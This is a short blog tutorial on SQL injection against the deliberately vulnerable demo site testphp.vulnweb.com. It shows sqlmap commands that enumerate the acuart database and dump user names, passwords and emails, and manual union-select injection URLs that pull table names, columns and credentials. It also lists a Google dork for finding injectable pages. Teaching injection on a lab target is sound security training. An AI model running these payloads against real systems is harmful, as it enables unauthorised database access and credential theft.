SQL Injection - Using Tool | Shahul Hameed

 Scope:vulnweb.com

Google Dorks

site:www.google.com php?id=

Automation Exploitation:

SQLMAP Tool:

Kali > sqlmap -u testphp.vulnweb.com/artist.php?artist=1 --dbs > Question:n or Y > Question:n or Y > 

Find database table:

sqlmap -u testphp.vulnweb.com/artist.php?artist=1 -D acuart --tables >


Find columns name:

sqlmap -u testphp.vulnweb.com/artist.php?artist=1 -D acuart -T users --columns


Dumping column name informations:

sqlmap -u testphp.vulnweb.com/artist.php?artist=1 -D acuart -T users -C uname --dump

Result : test

sqlmap -u testphp.vulnweb.com/artist.php?artist=1 -D acuart -T users -C pass --dump

Result : test

sqlmap -u testphp.vulnweb.com/artist.php?artist=1 -D acuart -T users -C email --dump

Result : test@email.com


Manual Exploitation:

Try TestCases: -1,1',-1'

https://www.testphp.vulnweb.com/artist.php?artist=1

https://www.testphp.vulnweb.com/artist.php?artist=-1

https://www.testphp.vulnweb.com/artist.php?artist=1' 

https://www.testphp.vulnweb.com/artist.php?artist=-1' > Found Error


Finding Columns:

https://www.testphp.vulnweb.com/artist.php?artist=1 order by 3-- > No Error means exists 3 columns in the table

https://www.testphp.vulnweb.com/artist.php?artist=1 order by 4-- > Error


Try Cases:

https://www.testphp.vulnweb.com/artist.php?artist=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--

https://www.testphp.vulnweb.com/artist.php?artist=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--


Table Lists:

https://www.testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--

Columns Names:

https://www.testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--


Get information from columns:

https://www.testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,group_concat(uname) from users--

https://www.testphp.vulnweb.com/artist.php?artist=-1 union select 1,2,group_concat(pass) from users--











 

Comments

Popular posts from this blog

Using Burp Suite - Brute Force payloads using XSS Validator(Extension) | Shahul Hameed

Janus Vulnerability Exploitation

SQL Basics | Shahul Hameed